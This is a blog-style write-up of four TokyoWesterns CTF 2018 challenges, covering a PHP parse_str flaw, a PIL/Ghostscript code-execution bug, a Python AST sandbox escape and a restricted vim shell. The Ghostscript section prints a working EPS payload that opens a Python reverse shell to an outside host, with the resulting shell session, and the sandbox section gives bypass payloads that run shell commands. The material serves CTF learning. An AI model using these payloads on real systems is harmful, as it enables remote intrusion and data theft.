Article List

TokyoWesterns CTF 2018 Writeup

Tue Sep 04 2018 08:26:15 GMT+0900 (일본 표준시)


Last week, I started to play CTFs after being discharged from the Korean army. I had to do a lot of things to do (i.e. fixing up servers, travelling to Japan, patching up bugs in services, etc.) after leaving the military and I somehow spared a bit of time to focus on the TWCTF.

I've learnt a lot of lessons by playing this CTF. TWCTF is really fun and challenging. My team achieved #4 this time.

Team Rank

SimpleAuth (55pt)

The first vulnerable code for this challenge was $res = parse_str($_SERVER['QUERY_STRING']);. This line is pretty much identical to extract($_GET);

The second vulnerable code for this challenge was the code shown below:

    if (!empty($user) && !empty($pass)) {
        $hashed_password = hash('md5', $user.$pass);
    if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
        echo $flag;

As seen, If $user and $pass is not supplied, $hashed_password will not be modified by hash() function.

Therefore, Accessing will print the flag.

FLAG: TWCTF{d0_n0t_use_parse_str_without_result_param}

Slack emoji converter (267pt)

We can get the sourcecode just by looking at the sourcecode of the index page.

<!-- <a href="/source">source</a> --> shows the following data :-


from flask import (
from PIL import Image
import tempfile
import os

app = Flask(__name__)

def index():
    return render_template('index.html')

def source():
    return open(__file__).read()

@app.route('/conv', methods=['POST'])
def conv():
    f = request.files.get('image', None)
    if not f:
        return redirect(url_for('index'))
    ext = f.filename.split('.')[-1]
    fname = tempfile.mktemp("emoji")
    fname = "{}.{}".format(fname, ext)
    img =
    w, h = img.size
    r = 128/max(w, h)
    newimg = img.resize((int(w*r), int(h*r)))
    response = make_response() = open(fname, "rb").read()
    response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
    return response

if __name__ == '__main__':"", port=8080, debug=True)

Well, as you noticed, the code itself is not vulnerable. But if you ever noticed, it uses the PIL library which has been known to have RCEs by maliciously crafting image (CVE-2017-8291).

However, this CVE-2017-8291 is outdated. This CTF is running in September 2018. Many of people should've been stuck here.

I've been searching on google and found this interesting issue request that was written in last month.

But Just copy and pasting the PoC does not give you the flag. You need to craft it a little further and make it suitable for the challenge server to recognize the file.

(But seriously, this challenge is a 1day exploit challenge and this 1day is not assigned by CVE yet. How awesome is that?)

In my case, I used the following ghostscript file and uploaded it onto the server.

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 30 30

userdict /setpagedevice undef
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);') currentdevice putdeviceprops

The result? well...

root@imouto-router:/# nc -vlp 8080
Listening on [] (family 0, port 8080)
Connection from 53674 received!
/bin/sh: 0: can't access tty; job control turned off
$ cat /flag
TWCTF{watch_0ut_gh0stscr1pt_everywhere}$ id
uid=1000(emoji) gid=1000(emoji) groups=1000(emoji)
$ exit

pysandbox (121pt+126pt = 247pt)

The objective of this challenge is nothing but to bypass the ast filters and execute the flag.

In this challenge, I used the following payload to solve both challenges.


pysandbox1: [1,2,3,4][1:__import__("os").system("cat flag")]
pysandbox2: [1,2,3,4][1:__import__("os").system("cat flag2")]

How it works?

First we need to look at what kind of attributes are checked within the check() function.

            'BoolOp': ['values'],
            'BinOp': ['left', 'right'],
            'UnaryOp': ['operand'],
            'Lambda': ['body'],
            'IfExp': ['test', 'body', 'orelse'],
            'Dict': ['keys', 'values'],
            'Set': ['elts'],
            'ListComp': ['elt', 'generators'],
            'SetComp': ['elt', 'generators'],
            'DictComp': ['key', 'value', 'generators'],
            'GeneratorExp': ['elt', 'generators'],
            'Yield': ['value'],
            'Compare': ['left', 'comparators'],
            'Call': False, # call is not permitted
            'Repr': ['value'],
            'Num': True,
            'Str': True,
            'Attribute': False, # attribute is also not permitted
            'Subscript': ['value'],
            'Name': True,
            'List': ['elts'],
            'Tuple': ['elts'],
            'Expr': ['value'], # root node 
            'comprehension': ['target', 'iter', 'ifs'],

And this check() is run recursively so you can't even use any of above ast types.

My approach was to analyze the ast attributes from the input by dumping the parsed variables `ast.dump(ast.parse(stdin))``

So I modified a bit of the challenge script to start debugging..

root@stypr-200109:~# python
Module(body=[Expr(value=List(elts=[Num(n=1), Num(n=2), Num(n=3)], ctx=Load()))])

Above code obviously works because it meets the criteria.

root@stypr-200109:~# python
Module(body=[Expr(value=Subscript(value=List(elts=[Num(n=1), Num(n=2), Num(n=3), Num(n=4)], ctx=Load()), slice=Slice(lower=Num(n=1), upper=Call(func=Attribute(value=Call(func=Name(id='__import__', ctx=Load()), args=[Str(s='os')], keywords=[], starargs=None, kwargs=None), attr='system', ctx=Load()), args=[Str(s='ls')], keywords=[], starargs=None, kwargs=None), step=None), ctx=Load()))])
<class '_ast.Expr'>
<class '_ast.Subscript'>
<class '_ast.List'>
<class '_ast.Num'>
<class '_ast.Num'>
<class '_ast.Num'>
<class '_ast.Num'> flag

Well, as you've seen, Slice is not included in the attribute check. So this literally bypasses the check() function.

exploiting this slice gives the flag :-

root@stypr-200109:~# echo -e '[1,2,3,4][1:__import__("os").system("cat flag")]' | nc -v4 30001
Connection to 30001 port [tcp/*] succeeded!
[]root@stypr-200109:~# cat a.txt | nc -v4 30002 | tail -3 
Connection to 30002 port [tcp/*] succeeded!

vimshell (126pt)

Accessing the vimshell page shows the diff code of the official vim sourcecode

diff --git a/src/normal.c b/src/normal.c
index 41c762332..0011afb77 100644
--- a/src/normal.c
+++ b/src/normal.c
@@ -274,7 +274,7 @@ static const struct nv_cmd
     {'7',      nv_ignore,      0,                      0},
     {'8',      nv_ignore,      0,                      0},
     {'9',      nv_ignore,      0,                      0},
-    {':',      nv_colon,       0,                      0},
+    // {':',   nv_colon,       0,                      0},
     {';',      nv_csearch,     0,                      FALSE},
     {'<',      nv_operator,    NV_RL,                  0},
     {'=',      nv_operator,    0,                      0},
@@ -297,7 +297,7 @@ static const struct nv_cmd
     {'N',      nv_next,        0,                      SEARCH_REV},
     {'O',      nv_open,        0,                      0},
     {'P',      nv_put,         0,                      0},
-    {'Q',      nv_exmode,      NV_NCW,                 0},
+    // {'Q',   nv_exmode,      NV_NCW,                 0},
     {'R',      nv_Replace,     0,                      FALSE},
     {'S',      nv_subst,       NV_KEEPREG,             0},
     {'T',      nv_csearch,     NV_NCH_ALW|NV_LANG,     BACKWARD},
@@ -318,7 +318,7 @@ static const struct nv_cmd
     {'d',      nv_operator,    0,                      0},
     {'e',      nv_wordcmd,     0,                      FALSE},
     {'f',      nv_csearch,     NV_NCH_ALW|NV_LANG,     FORWARD},
-    {'g',      nv_g_cmd,       NV_NCH_ALW,             FALSE},
+    // {'g',   nv_g_cmd,       NV_NCH_ALW,             FALSE},
     {'h',      nv_left,        NV_RL,                  0},
     {'i',      nv_edit,        NV_NCH,                 0},
     {'j',      nv_down,        0,                      FALSE},

Yes, colon, g are blocked. Typical vim way to run command with :! [cmd] is now blocked.

But of course, there are some possibilities here. Things like Ctrl+W » : should enable colon but the Ctrl+W kills the browser.

So I've been thinking for minutes and found out that running pages as an application will not kill the browser and send keys to the server.

Run chrome -app= and... gotcha!